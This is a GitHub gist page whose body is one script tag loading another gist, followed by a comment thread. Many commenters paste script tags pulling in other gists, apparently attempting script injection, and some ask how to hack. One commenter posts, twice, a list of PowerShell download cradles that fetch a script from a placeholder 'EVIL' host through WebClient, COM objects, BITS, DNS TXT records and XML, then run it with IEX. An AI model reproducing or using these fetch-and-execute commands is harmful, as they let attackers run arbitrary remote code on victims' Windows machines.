Skip to content

Instantly share code, notes, and snippets.

@mattn
Created April 28, 2011 13:19
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 27 You must be signed in to fork a gist
  • Save mattn/946330 to your computer and use it in GitHub Desktop.
Save mattn/946330 to your computer and use it in GitHub Desktop.
<script src=https://gist.github.com/raw/946328/gistfile1.txt ><\/script>
@amalez
Copy link

amalez commented Jun 15, 2017

<script src="https://gist.github.com/1N3/ad327175444a8d14f37d.js"></script>

@youssf2
Copy link

youssf2 commented Aug 3, 2017

fgfgh

@youssf2
Copy link

youssf2 commented Aug 3, 2017

go hakers

@61861spu
Copy link

how do you do the hack there is no more inspect

@kbatchelli
Copy link

There is surley inspect on macOS and windows 8, and check out my gist: <script src="https://gist.github.com/kbatchelli/a4c540f02348477324c75c6611a68a67.js"></script>

@kbatchelli
Copy link

@GoddessGaming
Copy link

<script src="https://gist.github.com/Creepyjokes2000/7bfc56f5e04007115f21d57b96599045.js"></script>

@mithleshibib
Copy link

<script src="https://gist.github.com/mithleshibib/8d6d1e9956601225e70c02535e63d70e.js"></script>

@shaila11
Copy link

shaila11 commented Dec 5, 2018

uhhhhhhh hey?

@junior1903i
Copy link

<script src="https://gist.github.com/farookibrahim/d530380eb04f318e3884ca814d878360.js"></script> à quoi ça sert ?

@z7eugs
Copy link

z7eugs commented Oct 20, 2019

<script src="https://gist.github.com/derhuerst/1b15ff4652a867391f03.js"></script>

@kail-287
Copy link

<script src=https://gist.github.com/raw/946328/gistfile1.txt ><\/script>

@brandonaton
Copy link

how do you even hack

@gwap0ako025
Copy link

<script src="https://gist.github.com/gwap0ako025/ae4619dd6cadf74c4cfb3d31239e89f1.js"></script>

@MRSAJIB
Copy link

MRSAJIB commented May 22, 2020

<script src="https://gist.github.com/kuamit5516/99897918fd94e8c5310c370f3211e83e.js"></script>

@ahmedmengal
Copy link

<script src="https://gist.github.com/ahmedmengal/37bdc23b83288c21f83a64adec451efb.js"></script>

@broimagoat
Copy link

<script src="https://gist.github.com/arguiot/5abf1b7bef3f7be493be3bda63f88dcb.js"></script>

@cheese20plzaddmetothescript

why is the song cradles so good?

@cheese20plzaddmetothescript

normal download cradle

IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

PowerShell 3.0+

IEX (iwr 'http://EVIL/evil.ps1')

hidden IE com object

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

Msxml2.XMLHTTP COM object

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

WinHttp COM object (not proxy aware!)

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

using bitstransfer- touches disk!

Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)

code to execute needs to be a base64 encoded string stored in a TXT record

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

from @subTee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

<#

Get-Process #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex

@cheese20plzaddmetothescript

normal download cradle

IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

PowerShell 3.0+

IEX (iwr 'http://EVIL/evil.ps1')

hidden IE com object

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

Msxml2.XMLHTTP COM object

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

WinHttp COM object (not proxy aware!)

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

using bitstransfer- touches disk!

Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)

code to execute needs to be a base64 encoded string stored in a TXT record

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

from @subTee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d

<#

Get-Process #> $a = New-Object System.Xml.XmlDocument $a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt") $a.command.a.execute | iex

@Bmwx
Copy link

Bmwx commented Feb 26, 2021

<script src="https://gist.github.com/Watreni/b4e31ca33730ffe7259194cb3b385bb8.js"></script>

@cgu2
Copy link

cgu2 commented Apr 8, 2021

<script src="https://gist.github.com/ssmereka/6517444.js"></script>

@NathanXID
Copy link

<script src="https://gist.github.com/NathanXID/2fee8e4c5e6a082dc215f0da91cf7a5c.js"></script>

@EYExPatch
Copy link

<script src="https://gist.github.com/leaky-coder/4f3c403adfbc7c925bbb239713428f39.js"></script>

@thanhdepzaiheh
Copy link

<script src="https://gist.github.com/iNPUTmice/28113eecccf50dc81d266c4215cb1264.js"></script>

@martytyty2098
Copy link

<script src="https://gist.github.com/martytyty2098/baf42f8ff0bfae517971448ee0cdae19.js"></script>

@benchuophobia
Copy link

@El-o-heka
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment